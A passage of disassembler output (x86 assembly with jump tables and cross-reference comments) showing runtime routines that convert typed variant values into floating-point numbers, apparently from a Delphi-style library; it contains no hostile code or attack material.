dd offset loc_400106B3
dd offset loc_400106B3
dd offset loc_40010645
dd offset loc_40010659
dd offset loc_4001066D
dd offset loc_40010681
dd offset loc_4001069A
; ---------------------------------------------------------------------------
loc_400105B8: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 2
fild word ptr [eax]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400105C6: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 3
fild dword ptr [eax]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400105D4: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 4
fld dword ptr [eax]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400105E2: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 5
mov edx, [eax]
mov dword ptr [esp+18h+var_18], edx
mov edx, [eax+4]
mov dword ptr [esp+18h+var_18+4], edx
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_400105F6: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 6
fild qword ptr [eax]
fdiv ds:flt_400106E0
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001060A: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 7
mov edx, [eax]
mov dword ptr [esp+18h+var_18], edx
mov edx, [eax+4]
mov dword ptr [esp+18h+var_18+4], edx
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001061E: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, ebx ; jumptable 4001055D case 8
call sub_400101AC
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_4001062E: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 11
movsx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_400106D8
; ---------------------------------------------------------------------------
loc_40010645: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 16
movsx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_40010659: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 17
movzx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_4001066D: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 18
movzx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_40010681: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 19
mov eax, [eax]
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_4001069A: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 20
fild qword ptr [eax]
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_400106A5: ; CODE XREF: sub_4001036C+1F1j
; DATA XREF: sub_4001036C:off_40010564o
mov eax, [ebx+8] ; jumptable 4001055D case 12
call sub_4001036C
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_400106B3: ; CODE XREF: sub_4001036C+1EBj
; sub_4001036C+1F1j
; DATA XREF: ...
mov eax, ebx ; default
; jumptable 4001055D cases 0,1,9,10,13-15
call sub_40010270
fstp [esp+18h+var_18]
wait
jmp short loc_400106D8
; ---------------------------------------------------------------------------
loc_400106C0: ; CODE XREF: sub_4001036C+1DAj
mov edx, esp
mov eax, ebx
call sub_40010320
test al, al
jnz short loc_400106D8
mov eax, ebx
call sub_40010270
fstp [esp+18h+var_18]
wait
loc_400106D8: ; CODE XREF: sub_4001036C+79j
; sub_4001036C+9Dj ...
fld [esp+18h+var_18]
add esp, 14h
pop ebx
retn
sub_4001036C endp
; ---------------------------------------------------------------------------
flt_400106E0 dd 1.0e4 ; DATA XREF: sub_4001036C+DBr
; sub_4001036C+28Fr
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400106E4 proc near ; CODE XREF: sub_4000E9CC+FCp
var_14 = qword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
cmp eax, 14h ; switch 21 cases
ja loc_40010825 ; default
; jumptable 400106FF cases 5-10,12-15
jmp ds:off_40010706[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010706 dd offset loc_4001075A ; DATA XREF: sub_400106E4+1Br
dd offset loc_40010764 ; jump table for switch statement
dd offset loc_40010784
dd offset loc_40010793
dd offset loc_400107A2
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_400107B0
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_40010825
dd offset loc_400107C6
dd offset loc_400107DC
dd offset loc_400107EF
dd offset loc_40010802
dd offset loc_40010819
; ---------------------------------------------------------------------------
loc_4001075A: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
xor eax, eax ; jumptable 400106FF case 0
mov [ebp+var_8], eax
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_40010764: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
cmp byte_4001AA10, 0 ; jumptable 400106FF case 1
jz short loc_4001077A
mov dx, 4
mov ax, 1
call sub_4000DBF4
loc_4001077A: ; CODE XREF: sub_400106E4+87j
xor eax, eax
mov [ebp+var_8], eax
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_40010784: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 2
fild word ptr [eax+8]
fstp [ebp+var_8]
wait
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_40010793: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 3
fild dword ptr [eax+8]
fstp [ebp+var_8]
wait
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_400107A2: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 4
mov eax, [eax+8]
mov [ebp+var_8], eax
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_400107B0: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 11
movsx eax, word ptr [eax+8]
mov [ebp+var_C], eax
fild [ebp+var_C]
fstp [ebp+var_8]
wait
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_400107C6: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 16
movsx eax, byte ptr [eax+8]
mov [ebp+var_C], eax
fild [ebp+var_C]
fstp [ebp+var_8]
wait
jmp loc_40010867
; ---------------------------------------------------------------------------
loc_400107DC: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 17
movzx eax, byte ptr [eax+8]
mov [ebp+var_C], eax
fild [ebp+var_C]
fstp [ebp+var_8]
wait
jmp short loc_40010867
; ---------------------------------------------------------------------------
loc_400107EF: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 18
movzx eax, word ptr [eax+8]
mov [ebp+var_C], eax
fild [ebp+var_C]
fstp [ebp+var_8]
wait
jmp short loc_40010867
; ---------------------------------------------------------------------------
loc_40010802: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 19
mov eax, [eax+8]
mov dword ptr [ebp+var_14], eax
xor eax, eax
mov dword ptr [ebp+var_14+4], eax
fild [ebp+var_14]
fstp [ebp+var_8]
wait
jmp short loc_40010867
; ---------------------------------------------------------------------------
loc_40010819: ; CODE XREF: sub_400106E4+1Bj
; DATA XREF: sub_400106E4:off_40010706o
mov eax, [ebp+var_4] ; jumptable 400106FF case 20
fild qword ptr [eax+8]
fstp [ebp+var_8]
wait
jmp short loc_40010867
; ---------------------------------------------------------------------------
loc_40010825: ; CODE XREF: sub_400106E4+15j
; sub_400106E4+1Bj
; DATA XREF: ...
xor eax, eax ; default
; jumptable 400106FF cases 5-10,12-15
push ebp
push offset loc_40010849
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
call sub_4001036C
fstp [ebp+var_8]
wait
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_40010867
; ---------------------------------------------------------------------------
loc_40010849: ; DATA XREF: sub_400106E4+144o
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov dx, 4
call sub_4000E068
xor eax, eax
mov [ebp+var_8], eax
call sub_40004360
loc_40010867: ; CODE XREF: sub_400106E4+7Bj
; sub_400106E4+9Bj ...
fld [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400106E4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010874 proc near ; CODE XREF: sub_40010ABC+DEp
; sub_40010ABC+1A7p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
xor edx, edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40010950
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_4]
call sub_40011DFC
lea eax, [ebp+var_10]
push eax
push 0
push 400h
mov eax, [ebp+var_4]
push eax
mov eax, off_4001AF3C
mov eax, [eax]
call eax
mov edx, eax
sub edx, 80020005h
jz short loc_400108CC
sub edx, 7FFDFFFBh
jnz short loc_40010921
jmp short loc_4001092D
; ---------------------------------------------------------------------------
loc_400108CC: ; CODE XREF: sub_40010874+4Cj
lea eax, [ebp+var_1C]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_1C]
lea edx, [ebp+var_10]
call sub_4000A710
test al, al
jnz short loc_4001092D
lea eax, [ebp+var_20]
mov edx, [ebp+var_4]
call sub_40004B0C
mov eax, [ebp+var_20]
lea edx, [ebp+var_18]
call sub_40008E90
test al, al
jz short loc_4001090E
mov eax, [ebp+var_18]
mov dword ptr [ebp+var_10], eax
mov eax, [ebp+var_14]
mov dword ptr [ebp+var_10+4], eax
jmp short loc_4001092D
; ---------------------------------------------------------------------------
loc_4001090E: ; CODE XREF: sub_40010874+8Aj
movzx edx, word ptr [ebx]
mov cx, 7
mov eax, 80020005h
call sub_4000E034
jmp short loc_4001092D
; ---------------------------------------------------------------------------
loc_40010921: ; CODE XREF: sub_40010874+54j
movzx edx, word ptr [ebx]
mov cx, 7
call sub_4000E034
loc_4001092D: ; CODE XREF: sub_40010874+56j
; sub_40010874+70j ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010957
loc_4001093A: ; CODE XREF: sub_40010874+E1j
lea eax, [ebp+var_20]
mov edx, 2
call sub_400048A8
lea eax, [ebp+var_4]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_40010950: ; DATA XREF: sub_40010874+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001093A
; ---------------------------------------------------------------------------
loc_40010957: ; CODE XREF: sub_40010874+DBj
; DATA XREF: sub_40010874+C1o
fld [ebp+var_10]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40010874 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010960 proc near ; CODE XREF: sub_40010ABC+166p
; sub_40010ABC+307p
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
mov [ebp+var_18], 5
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push 7
push 0
push 400h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_18]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 7
call sub_4000E034
mov eax, [ebp+var_10]
mov dword ptr [ebp+var_8], eax
mov eax, [ebp+var_C]
mov dword ptr [ebp+var_8+4], eax
fld [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_40010960 endp
; =============== S U B R O U T I N E =======================================
sub_400109C0 proc near ; CODE XREF: sub_40010ABC+BCp
; sub_40010ABC+187p ...
var_1C = qword ptr -1Ch
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
add esp, 0FFFFFFE8h
mov ebx, eax
lea eax, [esp+1Ch+var_14]
push eax
call sub_4000CDD8
push 7
push 0
push 400h
push ebx
lea eax, [esp+2Ch+var_14]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 7
call sub_4000E034
mov eax, [esp+1Ch+var_C]
mov dword ptr [esp+1Ch+var_1C], eax
mov eax, [esp+1Ch+var_8]
mov dword ptr [esp+1Ch+var_1C+4], eax
fld [esp+1Ch+var_1C]
add esp, 18h
pop ebx
retn
sub_400109C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40010A0C proc near ; CODE XREF: sub_40010ABC+1B7p
var_18 = byte ptr -18h
var_8 = qword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push ebx
mov ebx, eax
lea eax, [ebp+var_18]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40010A61
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_18]
call sub_4000E700
lea eax, [ebp+var_18]
call ds:off_4001F29C
lea eax, [ebp+var_18]
call sub_40010ABC
fstp [ebp+var_8]
wait
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40010A68
loc_40010A58: ; CODE XREF: sub_40010A0C+5Aj
lea eax, [ebp+var_18]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40010A61: ; DATA XREF: sub_40010A0C+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40010A58
; ---------------------------------------------------------------------------
loc_40010A68: ; CODE XREF: sub_40010A0C+54j
; DATA XREF: sub_40010A0C+47o
fld [ebp+var_8]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40010A0C endp
; =============== S U B R O U T I N E =======================================
sub_40010A70 proc near ; CODE XREF: sub_40010ABC+331p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
push ebx
push esi
push edi
add esp, 0FFFFFFECh
mov edi, edx
mov esi, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
mov ebx, eax
test bl, bl
jz short loc_40010AB2
lea eax, [esp+20h+var_1C]
push eax
call sub_4000CDD8
push 7
mov ecx, esi
lea edx, [esp+24h+var_1C]
mov eax, [esp+24h+var_20]
mov esi, [eax]
call dword ptr [esi+1Ch]
mov eax, [esp+20h+var_14]
mov [edi], eax
mov eax, [esp+20h+var_10]
mov [edi+4], eax
loc_40010AB2: ; CODE XREF: sub_40010A70+18j
mov eax, ebx
add esp, 14h
pop edi
pop esi
pop ebx
retn
sub_40010A70 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40010ABC proc near ; CODE XREF: sub_4000E9CC+14Ap
; sub_40010A0C+36p ...
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
push ebx
add esp, 0FFFFFFECh
mov ebx, eax
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_40010C51 ; default
; jumptable 40010AD1 cases 10,14,15
jmp ds:off_40010AD8[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010AD8 dd offset loc_40010B2C ; DATA XREF: sub_40010ABC+15r
dd offset loc_40010B3A ; jump table for switch statement
dd offset loc_40010B5E
dd offset loc_40010B6A
dd offset loc_40010B76
dd offset loc_40010B76
dd offset loc_40010B76
dd offset loc_40010B86
dd offset loc_40010B98
dd offset loc_40010C41
dd offset loc_40010C51
dd offset loc_40010BA8
dd offset loc_40010C30
dd offset loc_40010C41
dd offset loc_40010C51
dd offset loc_40010C51
dd offset loc_40010BBD
dd offset loc_40010BD2
dd offset loc_40010BE7
dd offset loc_40010BFC
dd offset loc_40010C16
; ---------------------------------------------------------------------------
loc_40010B2C: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
xor eax, eax ; jumptable 40010AD1 case 0
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B3A: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
cmp byte_4001AA10, 0 ; jumptable 40010AD1 case 1
jz short loc_40010B50
mov dx, 7
mov ax, 1
call sub_4000DBF4
loc_40010B50: ; CODE XREF: sub_40010ABC+85j
xor eax, eax
mov dword ptr [esp+18h+var_18], eax
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B5E: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
fild word ptr [ebx+8] ; jumptable 40010AD1 case 2
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B6A: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
fild dword ptr [ebx+8] ; jumptable 40010AD1 case 3
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B76: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, ebx ; jumptable 40010AD1 cases 4-6
call sub_400109C0
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B86: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, [ebx+8] ; jumptable 40010AD1 case 7
mov dword ptr [esp+18h+var_18], eax
mov eax, [ebx+0Ch]
mov dword ptr [esp+18h+var_18+4], eax
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010B98: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, ebx ; jumptable 40010AD1 case 8
call sub_40010874
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010BA8: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
movsx eax, word ptr [ebx+8] ; jumptable 40010AD1 case 11
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010BBD: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
movsx eax, byte ptr [ebx+8] ; jumptable 40010AD1 case 16
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010BD2: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
movzx eax, byte ptr [ebx+8] ; jumptable 40010AD1 case 17
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010BE7: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
movzx eax, word ptr [ebx+8] ; jumptable 40010AD1 case 18
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010BFC: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, [ebx+8] ; jumptable 40010AD1 case 19
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C16: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
fild qword ptr [ebx+8] ; jumptable 40010AD1 case 20
add esp, 0FFFFFFF8h
fstp [esp+20h+var_20]
wait
mov eax, ebx
call sub_40010960
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C30: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, [ebx+8] ; jumptable 40010AD1 case 12
call sub_40010ABC
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C41: ; CODE XREF: sub_40010ABC+15j
; DATA XREF: sub_40010ABC:off_40010AD8o
mov eax, ebx ; jumptable 40010AD1 cases 9,13
call sub_400109C0
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C51: ; CODE XREF: sub_40010ABC+Fj
; sub_40010ABC+15j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 40010AD1 cases 10,14,15
sub dx, 100h
jz short loc_40010C61
dec dx
jz short loc_40010C71
jmp short loc_40010C81
; ---------------------------------------------------------------------------
loc_40010C61: ; CODE XREF: sub_40010ABC+19Cj
mov eax, ebx
call sub_40010874
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C71: ; CODE XREF: sub_40010ABC+1A1j
mov eax, ebx
call sub_40010A0C
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010C81: ; CODE XREF: sub_40010ABC+1A3j
test ah, 40h
jz loc_40010DE9
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_40010DDC ; default
; jumptable 40010C9B cases 0,1,9,10,13-15
jmp ds:off_40010CA2[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40010CA2 dd offset loc_40010DDC ; DATA XREF: sub_40010ABC+1DFr
dd offset loc_40010DDC ; jump table for switch statement
dd offset loc_40010CF6
dd offset loc_40010D04
dd offset loc_40010D12
dd offset loc_40010D12
dd offset loc_40010D12
dd offset loc_40010D22
dd offset loc_40010D36
dd offset loc_40010DDC
dd offset loc_40010DDC
dd offset loc_40010D46
dd offset loc_40010DCE
dd offset loc_40010DDC
dd offset loc_40010DDC
dd offset loc_40010DDC
dd offset loc_40010D5D
dd offset loc_40010D74
dd offset loc_40010D88
dd offset loc_40010D9C
dd offset loc_40010DB5
; ---------------------------------------------------------------------------
loc_40010CF6: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 2
fild word ptr [eax]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D04: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 3
fild dword ptr [eax]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D12: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, ebx ; jumptable 40010C9B cases 4-6
call sub_400109C0
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D22: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 7
mov edx, [eax]
mov dword ptr [esp+18h+var_18], edx
mov edx, [eax+4]
mov dword ptr [esp+18h+var_18+4], edx
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D36: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, ebx ; jumptable 40010C9B case 8
call sub_40010874
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D46: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 11
movsx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D5D: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 16
movsx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D74: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 17
movzx eax, byte ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D88: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 18
movzx eax, word ptr [eax]
mov [esp+18h+var_10], eax
fild [esp+18h+var_10]
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010D9C: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 19
mov eax, [eax]
mov dword ptr [esp+18h+var_C], eax
xor eax, eax
mov dword ptr [esp+18h+var_C+4], eax
fild [esp+18h+var_C]
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010DB5: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 20
fild qword ptr [eax]
add esp, 0FFFFFFF8h
fstp [esp+20h+var_20]
wait
mov eax, ebx
call sub_40010960
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010DCE: ; CODE XREF: sub_40010ABC+1DFj
; DATA XREF: sub_40010ABC:off_40010CA2o
mov eax, [ebx+8] ; jumptable 40010C9B case 12
call sub_40010ABC
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010DDC: ; CODE XREF: sub_40010ABC+1D9j
; sub_40010ABC+1DFj
; DATA XREF: ...
mov eax, ebx ; default
; jumptable 40010C9B cases 0,1,9,10,13-15
call sub_400109C0
fstp [esp+18h+var_18]
wait
jmp short loc_40010E01
; ---------------------------------------------------------------------------
loc_40010DE9: ; CODE XREF: sub_40010ABC+1C8j
mov edx, esp
mov eax, ebx
call sub_40010A70
test al, al
jnz short loc_40010E01
mov eax, ebx
call sub_400109C0
